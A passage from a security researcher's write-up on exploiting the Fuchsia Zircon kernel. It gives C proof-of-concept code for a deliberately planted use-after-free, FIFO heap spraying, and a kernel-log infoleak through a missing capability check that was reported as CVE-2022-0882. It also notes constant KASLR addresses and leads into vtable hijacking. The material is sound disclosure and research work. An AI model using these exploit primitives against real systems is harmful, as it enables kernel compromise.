The next security solution I have to mention is sandboxing. Applications and system services live in Fuchsia as separate software units called components. These components run in isolated sandboxes. All inter-process communication (IPC) between them must be explicitly declared. Fuchsia even has no global file system. Instead, each component is given its own local namespace to operate. This design solution increases userspace isolation and security of Fuchsia applications. I think it also makes the Zircon kernel very attractive for an attacker, since Zircon provides system calls for all Fuchsia components.

Finally, Fuchsia has an unusual scheme of software delivery and updating. Fuchsia components are identified by URLs and can be resolved, downloaded, and executed on demand. The main goal of this design solution is to make software packages in Fuchsia always up to date, like web pages.

These security features made Fuchsia OS a new and interesting research target for me.

First try

The Fuchsia documentation provides a good tutorial describing how to get started with this OS. The tutorial gives a link to a script that can check your GNU/Linux system against the requirements for building Fuchsia from source:

$ ./ffx-linux-x64 platform preflight

It says that non-Debian distributions are not supported. However, I haven’t experienced any problems specific for Fedora 34.

The tutorial also provides instructions for downloading the Fuchsia source code and setting up the environment variables.

These commands build Fuchsia’s workstation product with developer tools for x86_64:

$ fx clean
$ fx set workstation.x64 --with-base //bundles:tools
$ fx build

After building Fuchsia OS, you can start it in FEMU (Fuchsia emulator). FEMU is based on the Android Emulator (AEMU), which is a fork of QEMU.

$ fx vdl start -N

Creating a new component

Let’s create a “hello world” application for Fuchsia. As I mentioned earlier, Fuchsia applications and programs are called components. This command creates a template for a new component:

$ fx create component --path src/a13x-pwns-fuchsia --lang cpp

I want this component to print “hello” to the Fuchsia log:

#include <iostream>

int main(int argc, const char** argv)
{
  std::cout << "Hello from a13x, Fuchsia!\n";
  return 0;
}

The component manifest src/a13x-pwns-fuchsia/meta/a13x_pwns_fuchsia.cml should have this part to allow stdout logging:

program: {
    // Use the built-in ELF runner.
    runner: "elf",

    // The binary to run for this component.
    binary: "bin/a13x-pwns-fuchsia",

    // Enable stdout logging
    forward_stderr_to: "log",
    forward_stdout_to: "log",
},

These commands build Fuchsia with a new component:

$ fx set workstation.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia
$ fx build

When Fuchsia with the new component is built, we can test it:

1. Start FEMU with Fuchsia using the command fx vdl start -N in the first terminal on the host system
2. Start Fuchsia package publishing server using the command fx serve in the second terminal on the host system
3. Show Fuchsia logs using the command fx log in the third terminal on the host system
4. Start the new component using the ffx tool in the fourth terminal on the host system:

 $ ffx component run fuchsia-pkg://fuchsia.com/a13x-pwns-fuchsia#meta/a13x_pwns_fuchsia.cm --recreate

In this screenshot (click to zoom in) we see that Fuchsia resolved the component by URL, downloaded and started it. Then the component printed Hello from a13x, Fuchsia! to the Fuchsia log in the third terminal.

Zircon kernel development workflow

Now let’s focus on the Zircon kernel development workflow. The Zircon source code in C++ is a part of the Fuchsia source code. Residing in the zircon/kernel subdirectory, it is compiled when Fuchsia OS is built. Zircon development and debugging requires running it in QEMU using the fx qemu -N command. However, when I tried it I got an error:

$ fx qemu -N
Building multiboot.bin, fuchsia.zbi, obj/build/images/fuchsia/fuchsia/fvm.blk
ninja: Entering directory `/home/a13x/develop/fuchsia/src/fuchsia/out/default'
ninja: no work to do.
ERROR: Could not extend FVM, unable to stat FVM image out/default/obj/build/images/fuchsia/fuchsia/fvm.blk

I discovered that this fault happens on machines that have a non-English console locale. This bug has been known for a long time. I have no idea why the fix hasn’t been merged yet. With this patch Fuchsia OS successfully starts on a QEMU/KVM virtual machine:

diff --git a/tools/devshell/lib/fvm.sh b/tools/devshell/lib/fvm.sh
index 705341e482c..5d1c7658d34 100644
--- a/tools/devshell/lib/fvm.sh
+++ b/tools/devshell/lib/fvm.sh
@@ -35,3 +35,3 @@ function fx-fvm-extend-image {
   fi
-  stat_output=$(stat "${stat_flags[@]}" "${fvmimg}")
+  stat_output=$(LC_ALL=C stat "${stat_flags[@]}" "${fvmimg}")
   if [[ "$stat_output" =~ Size:\ ([0-9]+) ]]; then

Running Fuchsia in QEMU/KVM enables debugging of the Zircon microkernel with GDB. Let’s see that in action.

1. Start Fuchsia with this command:

$ fx qemu -N -s 1 --no-kvm -- -s

• The -s 1 argument specifies the number of virtual CPUs for this virtual machine. Having a single virtual CPU makes the debugging experience better.
• The --no-kvm argument is useful if you need single-stepping during the debugging session. Otherwise KVM interrupts break the workflow and Fuchsia gets into the interrupt handler after each stepi or nexti GDB command. However, running Fuchsia VM without KVM virtualization support is much slower.
• The -s argument at the end of the command opens a gdbserver on TCP port 1234.

2. Allow execution of the Zircon GDB script, which provides several things:

• KASLR relocation for GDB, which is needed for setting breakpoints correctly.
• Special GDB commands with a zircon prefix.
• Pretty-printers for Zircon objects (none at the moment, alas).
• Enhanced unwinder for Zircon kernel faults.

$ cat ~/.gdbinit
add-auto-load-safe-path /home/a13x/develop/fuchsia/src/fuchsia/out/default/kernel_x64/zircon.elf-gdb.py

3. Start the GDB client and attach to the GDB server of Fuchsia VM:

$ cd /home/a13x/develop/fuchsia/src/fuchsia/out/default/
$ gdb kernel_x64/zircon.elf
(gdb) target extended-remote :1234

This procedure is for debugging Zircon with GDB.

On my machine, however, the Zircon GDB script completely hanged on each start and I had to debug this script. I found out that it calls the add-symbol-file GDB command with the -readnow parameter, which requires reading the entire symbol file immediately. For some reason, GDB was unable to chew symbols from the 110MB Zircon binary within a reasonable time. Removing this option fixed the bug on my machine and allowed normal Zircon debugging (click on the GDB screenshot to zoom in):

diff --git a/zircon/kernel/scripts/zircon.elf-gdb.py b/zircon/kernel/scripts/zircon.elf-gdb.py
index d027ce4af6d..8faf73ba19b 100644
--- a/zircon/kernel/scripts/zircon.elf-gdb.py
+++ b/zircon/kernel/scripts/zircon.elf-gdb.py
@@ -798,3 +798,3 @@ def _offset_symbols_and_breakpoints(kernel_relocated_base=None):
     # Reload the ELF with all sections set
-    gdb.execute("add-symbol-file \"%s\" 0x%x -readnow %s" \
+    gdb.execute("add-symbol-file \"%s\" 0x%x %s" \
                 % (sym_path, text_addr, " ".join(args)), to_string=True)

Getting closer to Fuchsia security: enable KASAN

KASAN (Kernel Address SANitizer) is a runtime memory debugger designed to find out-of-bounds accesses and use-after-free bugs. Fuchsia supports compiling the Zircon microkernel with KASAN. For this experiment I built the Fuchsia core product:

$ fx set core.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia --variant=kasan
$ fx build

For testing KASAN I added a synthetic bug to the Fuchsia code working with the TimerDispatcher object:

diff --git a/zircon/kernel/object/timer_dispatcher.cc b/zircon/kernel/object/timer_dispatcher.cc
index a83b750ad4a..14535e23ca9 100644
--- a/zircon/kernel/object/timer_dispatcher.cc
+++ b/zircon/kernel/object/timer_dispatcher.cc
@@ -184,2 +184,4 @@ void TimerDispatcher::OnTimerFired() {

+  bool uaf = false;
+
   {
@@ -187,2 +189,6 @@ void TimerDispatcher::OnTimerFired() {

+    if (deadline_ % 100000 == 31337) {
+      uaf = true;
+    }
+
     if (cancel_pending_) {
@@ -210,3 +216,3 @@ void TimerDispatcher::OnTimerFired() {
   // ourselves.
-  if (Release())
+  if (Release() || uaf)
     delete this;

As you can see, if the timer deadline value ends with 31337, then the TimerDispatcher object is freed regardless of the refcount value. I wanted to hit this kernel bug from the userspace component to see the KASAN error report. That is the code I added to my a13x-pwns-fuchsia component:

  zx_status_t status;
  zx_handle_t timer;
  zx_time_t deadline;

  status = zx_timer_create(ZX_TIMER_SLACK_LATE, ZX_CLOCK_MONOTONIC, &timer);
  if (status != ZX_OK) {
    printf("[-] creating timer failed\n");
    return 1;
  }

  printf("[+] timer is created\n");

  deadline = zx_deadline_after(ZX_MSEC(500));
  deadline = deadline - deadline % 100000 + 31337;
  status = zx_timer_set(timer, deadline, 0);
  if (status != ZX_OK) {
    printf("[-] setting timer failed\n");
    return 1;
  }

  printf("[+] timer is set with deadline %ld\n", deadline);
  fflush(stdout);
  zx_nanosleep(zx_deadline_after(ZX_MSEC(800))); // timer fired

  zx_timer_cancel(timer); // hit UAF

Here the zx_timer_create() syscall is called. It initializes the timer handle of a new timer object. Then this program sets the timer deadline to the magic value that ends with 31337. While this program waits on zx_nanosleep(), Zircon deletes the fired timer. The following zx_timer_cancel() syscall for the deleted timer provokes use-after-free.

So executing this userspace component crashed the Zircon kernel and delivered a lovely KASAN report. Nice, KASAN works! Quoting the relevant parts:

ZIRCON KERNEL PANIC

UPTIME: 17826ms, CPU: 2
...

KASAN detected a write error: ptr={{{data:0xffffff806cd31ea8}}}, size=0x4, caller: {{{pc:0xffffffff003c169a}}}
Shadow memory state around the buggy address 0xffffffe00d9a63d5:
0xffffffe00d9a63c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffffe00d9a63c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffffe00d9a63d0: 0xfa 0xfa 0xfa 0xfa 0xfd 0xfd 0xfd 0xfd
                                              ^^           
0xffffffe00d9a63d8: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd
0xffffffe00d9a63e0: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd

*** KERNEL PANIC (caller pc: 0xffffffff0038910d, stack frame: 0xffffff97bd72ee70):
...

Halted
entering panic shell loop
! 

Zircon also prints the crash backtrace as a chain of some obscure kernel addresses. To make it human-readable, I had to process it with a special Fuchsia tool:

$ cat crash.txt | fx symbolize > crash_sym.txt

Here’s how the backtrace looks after fx symbolize:

dso: id=58d07915d755d72e base=0xffffffff00100000 name=zircon.elf
   #0    0xffffffff00324b7d in platform_specific_halt(platform_halt_action, zircon_crash_reason_t, bool) ../../zircon/kernel/platform/pc/power.cc:154 <kernel>+0xffffffff80324b7d
   #1    0xffffffff005e4610 in platform_halt(platform_halt_action, zircon_crash_reason_t) ../../zircon/kernel/platform/power.cc:65 <kernel>+0xffffffff805e4610
   #2.1  0xffffffff0010133e in $anon::PanicFinish() ../../zircon/kernel/top/debug.cc:59 <kernel>+0xffffffff8010133e
   #2    0xffffffff0010133e in panic(const char*) ../../zircon/kernel/top/debug.cc:92 <kernel>+0xffffffff8010133e
   #3    0xffffffff0038910d in asan_check(uintptr_t, size_t, bool, void*) ../../zircon/kernel/lib/instrumentation/asan/asan-poisoning.cc:180 <kernel>+0xffffffff8038910d
   #4.4  0xffffffff003c169a in std::__2::__cxx_atomic_fetch_add<int>(std::__2::__cxx_atomic_base_impl<int>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1002 <kernel>+0xffffffff803c169a
   #4.3  0xffffffff003c169a in std::__2::__atomic_base<int, true>::fetch_add(std::__2::__atomic_base<int, true>*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1686 <kernel>+0xffffffff803c169a
   #4.2  0xffffffff003c169a in fbl::internal::RefCountedBase<true>::AddRef(const fbl::internal::RefCountedBase<true>*) ../../zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:39 <kernel>+0xffffffff803c169a
   #4.1  0xffffffff003c169a in fbl::RefPtr<Dispatcher>::operator=(const fbl::RefPtr<Dispatcher>&, fbl::RefPtr<Dispatcher>*) ../../zircon/system/ulib/fbl/include/fbl/ref_ptr.h:89 <kernel>+0xffffffff803c169a
   #4    0xffffffff003c169a in HandleTable::GetDispatcherWithRightsImpl<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*, bool) ../../zircon/kernel/object/include/object/handle_table.h:243 <kernel>+0xffffffff803c169a
   #5.2  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*, zx_rights_t*) ../../zircon/kernel/object/include/object/handle_table.h:108 <kernel>+0xffffffff803d3f02
   #5.1  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights<TimerDispatcher>(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr<TimerDispatcher>*) ../../zircon/kernel/object/include/object/handle_table.h:116 <kernel>+0xffffffff803d3f02
   #5    0xffffffff003d3f02 in sys_timer_cancel(zx_handle_t) ../../zircon/kernel/lib/syscalls/timer.cc:67 <kernel>+0xffffffff803d3f02
   #6.2  0xffffffff003e1ef1 in λ(const wrapper_timer_cancel::(anon class)*, ProcessDispatcher*) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1170 <kernel>+0xffffffff803e1ef1
   #6.1  0xffffffff003e1ef1 in do_syscall<(lambda at gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169:85)>(uint64_t, uint64_t, bool (*)(uintptr_t), wrapper_timer_cancel::(anon class)) ../../zircon/kernel/lib/syscalls/syscalls.cc:106 <kernel>+0xffffffff803e1ef1
   #6    0xffffffff003e1ef1 in wrapper_timer_cancel(SafeSyscallArgument<unsigned int, true>::RawType, uint64_t) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169 <kernel>+0xffffffff803e1ef1
   #7    0xffffffff005618e8 in gen/zircon/vdso/include/lib/syscalls/kernel.inc:1103 <kernel>+0xffffffff805618e8

You can see that the wrapper_timer_cancel() syscall handler calls sys_timer_cancel(), where GetDispatcherWithRightsImpl<TimerDispatcher>() works with a reference counter and performs use-after-free. This memory access error is detected in asan_check(), which calls panic().

This backtrace helped me to understand how the C++ code of the sys_timer_cancel() function actually works:

// zx_status_t zx_timer_cancel
zx_status_t sys_timer_cancel(zx_handle_t handle) {
  auto up = ProcessDispatcher::GetCurrent();

  fbl::RefPtr<TimerDispatcher> timer;
  zx_status_t status = up->handle_table().GetDispatcherWithRights(handle, ZX_RIGHT_WRITE, &timer);
  if (status != ZX_OK)
    return status;

  return timer->Cancel();
}

When I got Fuchsia OS working with KASAN, I felt confident and ready for the security research.

Syzkaller for Fuchsia (is broken)

After studying the basics of the Fuchsia kernel development workflow, I decided to start the security research. For experiments with Fuchsia kernel security, I needed a Zircon bug for developing a PoC exploit. The simplest way to achieve that was fuzzing.

There is a great coverage-guided kernel fuzzer called syzkaller. I’m fond of this project and its team, and I like to use it for fuzzing the Linux kernel. The syzkaller documentation says that it supports fuzzing Fuchsia, so I tried it in the first place.

However, I ran into trouble due to the unusual software delivery on Fuchsia, which I described earlier. A Fuchsia image for fuzzing must contain syz-executor as a component. syz-executor is a part of the syzkaller project that is responsible for executing the fuzzing input on a virtual machine. But I didn’t manage to build a Fuchsia image with this component.

First, I tried building Fuchsia with external syzkaller source code, according to the syzkaller documentation:

$ fx --dir "out/x64" set core.x64 \
  --with-base "//bundles:tools" \
  --with-base "//src/testing/fuzzing/syzkaller" \
  --args=syzkaller_dir='"/home/a13x/develop/gopath/src/github.com/google/syzkaller/"'
ERROR at //build/go/go_library.gni:43:3 (//build/toolchain:host_x64): Assertion failed.
   assert(defined(invoker.sources), "sources is required for go_library")
   ^-----
sources is required for go_library
See //src/testing/fuzzing/syzkaller/BUILD.gn:106:3: whence it was called.
   go_library("syzkaller-go") {
   ^---------------------------
See //src/testing/fuzzing/syzkaller/BUILD.gn:85:5: which caused the file to be included.
     ":run-sysgen($host_toolchain)",
     ^-----------------------------
ERROR: error running gn gen: exit status 1

It looks like the build system doesn’t handle the syzkaller_dir argument properly. I tried to remove this assertion and debug the Fuchsia build system, but I failed.

Then I found the third_party/syzkaller/ subdirectory in the Fuchsia source code. It contains a local copy of syzkaller sources that is used for building without --args=syzkaller_dir. But it’s quite an old copy: the last commit is from June 2, 2020. Building the current Fuchsia with this old version of syzkaller failed as well because of a number of changes in Fuchsia syscalls, header file locations, and so on.

I tried one more time and updated syzkaller in the third_party/syzkaller/ subdirectory. But building didn’t work because the Fuchsia BUILD.gn file for syzkaller needed a substantial rewriting according to the syzkaller changes.

In short, Fuchsia was integrated with the syzkaller kernel fuzzer once in 2020, but currently this integration is broken. I looked at the Fuchsia version control system to find Fuchsia developers who committed to this functionality. I wrote them an email describing all technical details of this bug, but didn’t get a reply.

Spending more time on the Fuchsia build system was stressing me out.

Thoughts on the research strategy

I reflected on my strategy of the further research.

Without fuzzing, successful vulnerability discovery in an OS kernel requires:

1. Good knowledge of its codebase
2. Deep understanding of its attack surface

Getting this experience with Fuchsia would require a lot of my time. Did I want to spend a lot of time on my first Fuchsia research? Perhaps not, because:

• Committing large resources to the first familiarity with the system is not reasonable
• Fuchsia turned out to be less production-ready than I expected

So I decided to postpone searching for zero-day vulnerabilities in Zircon and try to develop a PoC exploit for the synthetic bug that I had used for testing KASAN. Ultimately, that was a good decision because it gave me quick results and allowed to find other Zircon vulnerabilities along the way.

Discovering a heap spraying exploit primitive for Zircon

So I focused on exploiting use-after-free for TimerDispatcher. My exploitation strategy was simple: overwrite the freed TimerDispatcher object with the controlled data that would make the Zircon timer code work abnormally or, in other words, would turn this code into a weird machine.

First of all, for overwriting TimerDispatcher, I needed to discover a heap spraying exploit primitive that:

1. Can be used by the attacker from the unprivileged userspace component
2. Makes Zircon allocate a new kernel object at the location of the freed object
3. Makes Zircon copy the attacker’s data from the userspace to this new kernel object

I knew from my Linux kernel experience that heap spraying is usually constructed using inter-process communication (IPC). Basic IPC syscalls are usually available for unprivileged programs, according to paragraph 1. They copy userspace data to the kernelspace to transfer it to the recipient, according to paragraph 3. And finally, some IPC syscalls set the data size for the transfer, which gives control over the kernel allocator behavior and allows the attacker to overwrite the target freed object, according to paragraph 2.

That’s why I started to study the Zircon syscalls responsible for IPC. I found Zircon FIFO, which turned out to be an excellent heap spraying primitive. When the zx_fifo_create() syscall is called, Zircon creates a pair of FifoDispatcher objects (see the code in zircon/kernel/object/fifo_dispatcher.cc). Each of them allocates the required amount of kernel memory for the FIFO data:

  auto data0 = ktl::unique_ptr<uint8_t[]>(new (&ac) uint8_t[count * elemsize]);
  if (!ac.check())
    return ZX_ERR_NO_MEMORY;

  KernelHandle fifo0(fbl::AdoptRef(
      new (&ac) FifoDispatcher(ktl::move(holder0), options, static_cast<uint32_t>(count),
                               static_cast<uint32_t>(elemsize), ktl::move(data0))));
  if (!ac.check())
    return ZX_ERR_NO_MEMORY;

With the debugger, I determined that the size of the freed TimerDispatcher object is 248 bytes. I assumed that for successful heap spraying I needed to create Zircon FIFOs of the same data size. This idea worked instantly: in GDB I saw that Zircon overwrote the freed TimerDispatcher with FifoDispatcher data! This is the code for the heap spraying in my PoC exploit:

  printf("[!] do heap spraying...\n");

#define N 10
  zx_handle_t out0[N];
  zx_handle_t out1[N];
  size_t write_result = 0;

  for (int i = 0; i < N; i++) {
    status = zx_fifo_create(31, 8, 0, &out0[i], &out1[i]);
    if (status != ZX_OK) {
      printf("[-] creating a fifo %d failed\n", i);
      return 1;
    }
  }

Here the zx_fifo_create() syscall is executed 10 times. Each of them creates a pair of FIFOs that contain 31 elements. The size of each element is 8 bytes. So this code creates 20 FifoDispatcher objects with 248-byte data buffers.

And here the Zircon FIFOs are filled with the heap spraying payload that is prepared for overwriting the freed TimerDispatcher object:

  for (int i = 0; i < N; i++) {
    status = zx_fifo_write(out0[i], 8, spray_data, 31, &write_result);
    if (status != ZX_OK || write_result != 31) {
      printf("[-] writing to fifo 0-%d failed, error %d, result %zu\n", i, status, write_result);
      return 1;
    }
    status = zx_fifo_write(out1[i], 8, spray_data, 31, &write_result);
    if (status != ZX_OK || write_result != 31) {
      printf("[-] writing to fifo 1-%d failed, error %d, result %zu\n", i, status, write_result);
      return 1;
    }
  }

  printf("[+] heap spraying is finished\n");

Ok, I got the ability to change the TimerDispatcher object contents. But what to write into it to mount the attack?

C++ object anatomy

As a Linux kernel developer, I got used to C structures describing kernel objects. A method of a Linux kernel object is implemented as a function pointer stored in the corresponding C structure. This memory layout is explicit and simple.

But the memory layout of C++ objects in Zircon looked much more complex and obscure to me. I tried to study the anatomy of the TimerDispatcher object and showed it in GDB using the command print -pretty on -vtbl on. The output was a big mess, and I didn’t manage to correlate it with the hexdump of this object. Then I tried the pahole utility for TimerDispatcher. It showed the offsets of the class members, but didn’t help with understanding how class methods are implemented. Class inheritance made the whole picture more complicated.

I decided not to waste my time on studying TimerDispatcher object internals, but try blind practice instead. I used the FIFO heap spraying to overwrite the whole TimerDispatcher with zero bytes and saw what happened. Zircon crashed at the assertion in zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:57:

    const int32_t rc = ref_count_.fetch_add(1, std::memory_order_relaxed);

    //...
    if constexpr (EnableAdoptionValidator) {
      ZX_ASSERT_MSG(rc >= 1, "count %d(0x%08x) < 1\n", rc, static_cast<uint32_t>(rc));
    }

No problem. I found that this refcount is stored at the 8-byte offset from the beginning of the TimerDispatcher object. To bypass this check, I set the corresponding bytes in the heap spraying payload:

  unsigned int *refcount_ptr = (unsigned int *)&spray_data[8];

  *refcount_ptr = 0x1337C0DE;

Running this PoC on Fuchsia resulted in the next Zircon crash, which was very interesting from the attacker’s point of view. The kernel hit a null pointer dereference in HandleTable::GetDispatcherWithRights<TimerDispatcher>. Stepping through the instructions with GDB helped me to find out that this C++ dark magic causes Zircon to crash:

// Dispatcher -> FooDispatcher
template <typename T>
fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {
  return (likely(DispatchTag<T>::ID == (*disp)->get_type()))
             ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))
             : nullptr;
}

Here Zircon calls the get_type() public method of the TimerDispatcher class. This method is referenced using a C++ vtable. The pointer to the TimerDispatcher vtable is stored at the beginning of each TimerDispatcher object. It is great for control-flow hijacking. I would say it is simpler than similar attacks for the Linux kernel, where you need to search for appropriate kernel structures with function pointers.

Zircon KASLR bypass

Control-flow hijacking requires knowledge of kernel symbol addresses, which depend on the KASLR offset. KASLR stands for kernel address space layout randomization. The Zircon source code mentions KASLR many times. An example from zircon/kernel/params.gni:

  # Virtual address where the kernel is mapped statically.  This is the
  # base of addresses that appear in the kernel symbol table.  At runtime
  # KASLR relocation processing adjusts addresses in memory from this base
  # to the actual runtime virtual address.
  if (current_cpu == "arm64") {
    kernel_base = "0xffffffff00000000"
  } else if (current_cpu == "x64") {
    kernel_base = "0xffffffff80100000"  # Has KERNEL_LOAD_OFFSET baked into it.
  }

For Fuchsia, I decided to implement a trick similar to my KASLR bypass for the Linux kernel. My PoC exploit for CVE-2021-26708 used the Linux kernel log for reading kernel pointers to mount the attack. The Fuchsia kernel log contains security-sensitive information as well. So I tried to read the Zircon log from my unprivileged userspace component. I added use: [ { protocol: "fuchsia.boot.ReadOnlyLog" } ] to the component manifest and opened the log with this code:

  zx::channel local, remote;
  zx_status_t status = zx::channel::create(0, &local, &remote);
  if (status != ZX_OK) {
    fprintf(stderr, "Failed to create channel: %d\n", status);
    return -1;
  }

  const char kReadOnlyLogPath[] = "/svc/" fuchsia_boot_ReadOnlyLog_Name;
  status = fdio_service_connect(kReadOnlyLogPath, remote.release());
  if (status != ZX_OK) {
    fprintf(stderr, "Failed to connect to ReadOnlyLog: %d\n", status);
    return -1;
  }

  zx_handle_t h;
  status = fuchsia_boot_ReadOnlyLogGet(local.get(), &h);
  if (status != ZX_OK) {
    fprintf(stderr, "ReadOnlyLogGet failed: %d\n", status);
    return -1;
  }

First, this code creates a Fuchsia channel that will be used for the Fuchsia log protocol. Then it calls fdio_service_connect() for ReadOnlyLog and attaches the channel transport to it. These functions are from the fdio library, which provides a unified interface to a variety of Fuchsia resources: files, sockets, services, and others. Executing this code returns the error:

[ffx-laboratory:a13x_pwns_fuchsia] WARNING: Failed to route protocol `fuchsia.boot.ReadOnlyLog` with
  target component `/core/ffx-laboratory:a13x_pwns_fuchsia`: A `use from parent` declaration was found
  at `/core/ffx-laboratory:a13x_pwns_fuchsia` for `fuchsia.boot.ReadOnlyLog`, but no matching `offer`
  declaration was found in the parent
[ffx-laboratory:a13x_pwns_fuchsia] INFO: [!] try opening kernel log...
[ffx-laboratory:a13x_pwns_fuchsia] INFO: ReadOnlyLogGet failed: -24

That is correct behavior. My component is unprivileged and there is no matching offer declaration of fuchsia.boot.ReadOnlyLog in the parent. No access is granted since this Fuchsia component doesn’t have the required capabilities. No way.

So I dropped the idea of an infoleak from the kernel log. I started browsing through the Fuchsia source code and waiting for another insight. Suddenly I found another way to access the Fuchsia kernel log using the zx_debuglog_create() syscall:

zx_status_t zx_debuglog_create(zx_handle_t resource,
                               uint32_t options,
                               zx_handle_t* out);

The Fuchsia documentation says that the resource argument must have the resource kind ZX_RSRC_KIND_ROOT. My Fuchsia component doesn’t own this resource. Anyway, I tried using zx_debuglog_create() and…

zx_handle_t root_resource; // global var initialized by 0

int main(int argc, const char** argv)
{
  zx_status_t status;
  zx_handle_t debuglog;

  status = zx_debuglog_create(root_resource, ZX_LOG_FLAG_READABLE, &debuglog);
  if (status != ZX_OK) {
    printf("[-] can't create debuglog, no way\n");
    return 1;
  }

And this code worked! I managed to read the Zircon kernel log without the required capabilities and without the ZX_RSRC_KIND_ROOT resource. But why? I was amazed and found the Zircon code responsible for handling this syscall. Here’s what I found:

zx_status_t sys_debuglog_create(zx_handle_t rsrc, uint32_t options, user_out_handle* out) {
  LTRACEF("options 0x%x\n", options);

  // TODO(fxbug.dev/32044) Require a non-INVALID handle.
  if (rsrc != ZX_HANDLE_INVALID) {
    // TODO(fxbug.dev/30918): finer grained validation
    zx_status_t status = validate_resource(rsrc, ZX_RSRC_KIND_ROOT);
    if (status != ZX_OK)
      return status;
  }

A hilarious security check indeed! The Fuchsia bug report system for the issues 32044 and 30918 gave access denied. So I filed a security bug describing that sys_debuglog_create() has an improper capability check leading to a kernel infoleak. By the way, this issue tracker asked for the info in plain text, but by default it renders the report in Markdown (that’s weird, click the Markdown button to disable this behavior).

The Fuchsia maintainers approved this issue and requested a CVE-2022-0882.

Zircon KASLR: nothing to bypass

As reading the Fuchsia kernel log was not a problem any more, I extracted some kernel pointers from it to bypass Zircon KASLR. I was amazed for a second time and laughed again.

Despite KASLR, the kernel pointers were the same on every Fuchsia boot!

See the examples of identical log output. Boot #1:

[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1
[0.197] 00000:01029> Free memory after kernel init: 8424374272 bytes.
[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1
[0.197] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1
[0.200] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000
[0.201] 00000:01029> userboot: userboot rodata       0 @ [0x2ca730e3000,0x2ca730e9000)
[0.201] 00000:01029> userboot: userboot code    0x6000 @ [0x2ca730e9000,0x2ca73100000)
[0.201] 00000:01029> userboot: vdso/next rodata       0 @ [0x2ca73100000,0x2ca73108000)

Boot #2:

[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00263f20 (pmm_boot_memory) at level 0xdffff, flags 0x1
[0.194] 00000:01029> Free memory after kernel init: 8424361984 bytes.
[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff00114040 (kernel_shell) at level 0xe0000, flags 0x1
[0.194] 00000:01029> INIT: cpu 0, calling hook 0xffffffff0029e300 (userboot) at level 0xe0000, flags 0x1
[0.194] 00000:01029> userboot: ramdisk       0x18c5000 @ 0xffffff8003bdd000
[0.198] 00000:01029> userboot: userboot rodata       0 @ [0x2bc8b83c000,0x2bc8b842000)
[0.198] 00000:01029> userboot: userboot code    0x6000 @ [0x2bc8b842000,0x2bc8b859000)
[0.198] 00000:01029> userboot: vdso/next rodata       0 @ [0x2bc8b859000,0x2bc8b861000)

The kernel pointers are the same. Zircon KASLR doesn’t work. I filed a security issue in the Fuchsia bug tracker (disable the Markdown mode to see it properly). The Fuchsia maintainers replied that this issue is known to them.

Fuchsia OS turned out to be more experimental than I had expected.

C++ vtables in Zircon

After I realized that Fuchsia kernel functions have constant addresses, I started to study the vtables of Zircon C++ objects. I thought that constructing a fake vtable could enable control-flow hijacking.

As I mentioned, the pointer to the corresponding vtable is stored at the beginning of the object. This is what GDB shows for a TimerDispatcher object:

(gdb) info vtbl *(TimerDispatcher *)0xffffff802c5ae768
vtable for 'TimerDispatcher' @ 0xffffffff003bd11c (subobject @ 0xffffff802c5ae768):
[0]: 0xffdffe64ffdffd24
[1]: 0xffdcb5a4ffe00454
[2]: 0xffdffea4ffdc7824
[3]: 0xffd604c4ffd519f4
...

The weird values like 0xffdcb5a4ffe00454 are definitely not kernel addresses. I looked at the code that works with the TimerDispatcher vtable:

// Dispatcher -> FooDispatcher
template <typename T>
fbl::RefPtr<T> DownCastDispatcher(fbl::RefPtr<Dispatcher>* disp) {
  return (likely(DispatchTag<T>::ID == (*disp)->get_type()))
             ? fbl::RefPtr<T>::Downcast(ktl::move(*disp))
             : nullptr;
}

This high-level C++ nightmare turns into the following simple assembly:

  mov    rax,QWORD PTR [r13+0x0]
  movsxd r11,DWORD PTR [rax+0x8]
  add    r11,rax
  mov    rdi,r13
  call   0xffffffff0031a77c <__x86_indirect_thunk_r11>

Here the r13 register stores the address of the TimerDispatcher object. The vtable pointer resides at the beginning of the object. So after the first mov instruction, the rax register stores the address of the vtable itself. Then the movsxd instruction moves the value 0xffdcb5a4ffe00454 from the vtable to the r11 register. But movsxd also sign-extends this value from a 32-bit source to a 64-bit destination. So 0xffdcb5a4ffe00454 turns into 0xffffffffffe00454. Then the vtable address is added to this value in r11, which forms the address of the TimerDispatcher method:

(gdb) x $r11
0xffffffff001bd570 <_ZNK15TimerDispatcher8get_typeEv>:    0x000016b8e5894855

Fake vtable for the win

Despite this weird pointer arithmetics in Zircon vtables, I decided to craft a fake TimerDispatcher object vtable to hijack the kernel control flow. That led me to the question of where to place my fake vtable. The simplest way is to create it in the userspace. However, Zircon on x86_64 supports SMAP (Supervisor Mode Access Prevention), which blocks access to the userspace data from the kernelspace.

